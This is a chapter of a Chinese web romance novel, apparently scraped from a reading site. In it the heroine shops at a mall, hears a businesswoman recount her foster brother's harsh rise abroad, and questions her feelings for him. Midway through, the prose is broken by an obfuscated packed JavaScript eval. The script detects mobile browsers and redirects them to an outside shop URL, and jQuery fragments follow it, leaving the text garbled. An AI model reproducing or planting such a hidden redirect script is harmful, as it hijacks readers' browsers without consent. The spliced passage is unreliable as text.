59. “准备”

作品:《福音

    “我们到了。”等车停稳,何助理先下车帮宋扶樱开门,“走吧。”


    第一次逛温执悬开的商场,宋扶樱还有点紧张。要不是因为觉得他实力太强悍,所以害怕自己露怯,她好歹也是出入过高端场所的人。主要是因为害怕遇到熟人,遇到她自己的熟人或是温执悬的熟人都尴尬。


    怕什么来什么,宋扶樱的左脚刚踏入商场,迎面走来一个身着白色西装的女人,原本表情凝重着,看到何助理瞬间露出得体的笑容,迈着碎步一路跑了过来。


    “诶何助,你好你好,温总最近怎么样,还好吗?”


    “嗯,还不错。”何助理也换上了一副标准的社交面具,与她握了握手,互相交换名片。


    “是这样的,最近贵公司好像有玩具服装类设计的合作意向,我们这儿——”


    “不好意思,今天有点事要办,公事以后有时间再聊。”


    穿着白色西装的女人这才注意到何助理身旁站着的宋扶樱。老实说,她天天来这家商场散步一样从一楼逛到五楼,就是听小道消息说温老板在这家商场出现视察的概率最大,所以来碰碰运气。


    薛总原先的助理去外地考察了,她能弄到的消息不多,进度推进也比原来的要慢。


    再加上现在还有宋氏虎视眈眈,不知道什么时候会加入这潭浑水横插一脚。虽然宋矜度貌似对这个行业不太感兴趣,他家大业大不在乎这三瓜两枣,但在这行里不能赌人性。


    这机会无论如何也得抓住。


    “那行,今天我们不谈公事。”女人很热络地将手搭在宋扶樱的肩膀上,缩进与她的身体距离。


    “是带妹妹来逛商场对吧?我也是女人,共同话题能多点,今天陪妹妹逛个尽兴。”


    业内是有传闻,温执悬有一个爱的要死要活的妹妹在国内,经常跟国外商界打交道的人都略有耳闻。夏凝一当然知道,贵圈里想把自己女儿嫁给温执悬的人数不胜数,但这和她又有什么关系,人家的心在哪儿,有眼睛的人都能看得出来。


    都是个人选择的问题,为了利益虚情假意,这就是这个圈子里的规则。真正心疼温执悬的少,想从他口袋里拿好处的人多。


    她也是其中之一,没资格评价别人。


    宋扶樱被夏凝一冷不丁拍了下肩膀,整个人都一僵。她的语气很奇怪,对她说话时有一种讨好感,虽然只是若隐若现持续了几秒钟,但还是被敏锐地捕捉到了。


    每一个见到她的人,在看到她身边的合助理后都变得毕恭毕敬,宋扶樱开始好奇,温执悬这几年究竟发展成了什么样。


    如果他和不冷不热先生是同一个人……


    很奇怪的是,当初对不冷不热先生萌生出爱意,宋扶樱清楚地意识到,那其中有“哥哥”的功劳。她向往类似于温大哥的宠爱,又因为不冷不热先生给予了她超乎想象的帮助,所以才在那样苛刻的环境里,产生了一丝对不冷不热先生的心动。


    可是现在,明明她已经在温执悬身边了,对“哥哥”的喜爱,又在还没有意识到他就是不冷不热先生时,掺杂了对不冷不热先生的感情。


    这两种感觉彼此交织在一起,让宋扶樱头晕目眩。她爱上的不是哥哥,也不是不冷不热先生,而是——


    “温执悬,是你哥对吧?”


    “严格意义上来说,我们既不是血缘上的兄妹,也不是法律上的兄妹……”


    听到女人的询问,宋扶樱心底有种异样的感觉。是啊,自己和温执悬并不是任何意义上的兄妹,只是两个从小生活在一起、搭伙过日子的可怜孤儿而已。


    就这样自称哥妹,为什么要对对方付出远超于兄妹感情的努力呢?


    更重要的是,虽然在这一个月内已经很努力抑制了自己心中不应该对身为哥哥的温执悬产生的依赖与爱慕,可是当她知道,这份感情里带有“爱”时,事情的性质已经变了。


    她不想承认也得承认,自己的确“爱”温执悬。


    “你想不想知道他在国外的事?”


    在这个圈子里混的,怎么可能是简单的人呢?


    夏凝一精准察觉到了身边人变化的心情,顺势提出了一个让她无法拒绝的条件。


    “没事啊,姐姐和你说,这又没什么大不了的,温总也没瞒着是吧?”


    温执悬的确没刻意瞒着别人他的上位之路,剩下的隐情一般人也不知道,何助理点了点头,没人把这件事当秘密,当然可以直接和宋扶樱说。


    “嗯,不是什么秘密。”


    “温总在国外的地位,大概就国内的宋氏吧,只不过温总在国内的产业不如宋氏在国外的产业,但他有家底啊。”


    “业内都知道的,温总的母亲嫁到A国,当年可风光了,据说整个N城的人那天都来为这场婚礼忙活。”


    “但不知道为什么,温总那时倒不在这个家里,等后来他十八岁回来了,据说是那家人不能生了吧,他就成了名义上唯一的儿子,私下原先有三个私生子,一个私生女,私生子有两个不想抢财产的,他分了人家一笔钱,让他们主动离开,去另一个地方过自己的日子。”


    “一个抢财产的私生子,前几年死了。”


    “私生女比他小很多,今年还在上高中,快成年了吧。”


    “一边处理家事,一边还有生意场上的事要处理。原本Lin家族的事就不少,国外的商人又排挤他一个外来者,但温总硬是靠一招釜底抽薪搞垮了最大的本土集团,那一年米尔达集团跃升成为排行榜第一的企业。”


    “最关键的是,他所有做的好的产业都掌握在自己手里,和他继父没什么关系,伸手也要不到。”


    “但Lin自己的集团蛋糕做的很大,所以还是不断有人想分。”


    “温总在国外的这几年基本上都把老家伙肃清了,换了自己的人,基本盘稳了之后才敢和Lin以及夫人叫嚣。”


    “他们也知道,自己死后,财产多半是落到温执悬手上,自然也不敢像以前那样对他了。”


    “随打随骂,在人前当众让他下不来台,Lin甚至有在温总十八岁生日的时候逼他跪下来舔他的皮鞋,以示忠诚。”


    宋扶樱越听眉头皱得越紧,温执悬这几年在国外的日子,不比她在许家好多少。


    他是一个自尊心那么强的人,当初就算两个人吃了上顿没下顿,也不曾向谁下跪。


    她好像看到了十八岁的温执悬,倔强的双眼,上挑的眼尾发红,在心中默默发誓,以后绝对要让面前的男人和女人付出代价。


    温执悬很记仇的,而且有仇必报。


    宋扶樱紧皱的眉头让夏凝一误以为她因为听到温执悬复杂的家庭背景感到难办,确实,她也根本料不到一对离散了八年的非亲生兄妹还能想着对方,就算温执悬想着宋扶樱,宋扶樱那时才十二岁,什么都不懂。


    “啊,当然,妹妹你也别太担心,温总对那个妹妹几乎没感情,肯定不如对你好,他时时刻刻念着你的。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17256239|196708||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>“妹妹……吗?”


    她呢喃着。


    好像是这样的,如果一直依赖着温执悬,是不是只能成为妹妹呢?


    当一个人从小就爱你,把爱你当作人生的课题,你会分不清他对你的感情究竟是什么。


    是亲人的爱,还是爱人的爱?


    或者,如果她不再是他的妹妹了,他还会像之前那样爱她吗?


    如果不拉开距离,哥哥永远只会是哥哥。


    她当然在意温执悬对其他可能存在的妹妹的爱,介意的不得了了,但如果两人之间有那样的感情,不应该介意他也对其他的妹妹手下留情才对。


    但事实上,温执悬完全没有放那个私生女一马的意思,只是因为他们现在还没作妖,不必分出精力处理。等他们家开始行动,下场和前两家差不多。


    “嗯?”夏凝一没听清宋扶樱的那句呢喃,“何助理,你们今天是来选滑雪服的吧?那我们去那边吧,我知道那儿有一家很好的店。”


    她为了拉拢宋扶樱,简直绞尽脑汁鞠躬尽瘁,就这样,讨好的机会还是她拼命争取来的。


    看着面前女人因为长期熬夜而泛黄的脸,宋扶樱心中更不是滋味。她害怕她最终对周围人吹捧自己完全无感,完全变成了一个忽视别人苦难的高傲小姐。


    ——他们都是为了温执悬而来,谁在意宋扶樱呢?


    活了二十年,尽管有点晚了,正是因为夏凝一的那句“他时刻念着你”,她才恍然发觉,她和温执悬不是一体的。


    所以,对他不可以无限度地撒娇和依赖,因为他是一个独立的个体。


    会累,会烦,总有一天会没有耐心。


    只有这时,八年的时间长度被烫了一下,像麦芽糖一样拉出细细长长的糖丝,隔在两人中间,成为了撬动重物的最后一颗石子。


    这不是误会,这不是嫌隙。


    这是每个人长大必经的成长,终究要意识到,我即我,他即他人。


    像他们这样紧紧联系在一起的兄妹,终究是不正常的。


    能去滑雪的愉悦心情顿时烟消云散,宋扶樱浑浑噩噩地选了两套滑雪服和两套冲锋衣,就这样尾随在何助理和夏凝一身后,一路走到地下停车场。


    逃避问题逃的了一时,逃不了一世。


    她终究要意识到这个问题,温执悬已经不是以前的温执悬了。


    虽然他还是尽力保持着八年前的样子,不让她感到害怕,但现在站在她面前的温执悬,就如同她在许家一样,遭受了千千万万的磨难,内心想法还能和以前一模一样吗?


    ——他们兄妹之间,终究是要生疏的。


    在夏凝一口中的温执悬,好陌生。


    “宋女士?”上车后,何助理终于忍不住了,出声提醒她:


    “您好像发了很久的呆?”


    他随时观察着情况,实在不对劲,就把今天发生的事原封不动地告诉老板,让他自行处理。


    “啊……没事,商场里灯光太亮,我眼睛不舒服……对了,今天那个带我们买衣服的姐姐,她很辛苦,要谢谢她。”


    自己的情绪还没处理好,宋扶樱尚且知晓,她的一举一动影响着那位姐姐今天付出的所有努力能不能有回报。


    她说了些实话,如果自己不高兴的话,温大哥一定会迁怒于她。


    宋扶樱并不想让对方的期待落空。至少自己不要帮倒忙。


    听到这句话,何助理正在打字的右手停下了。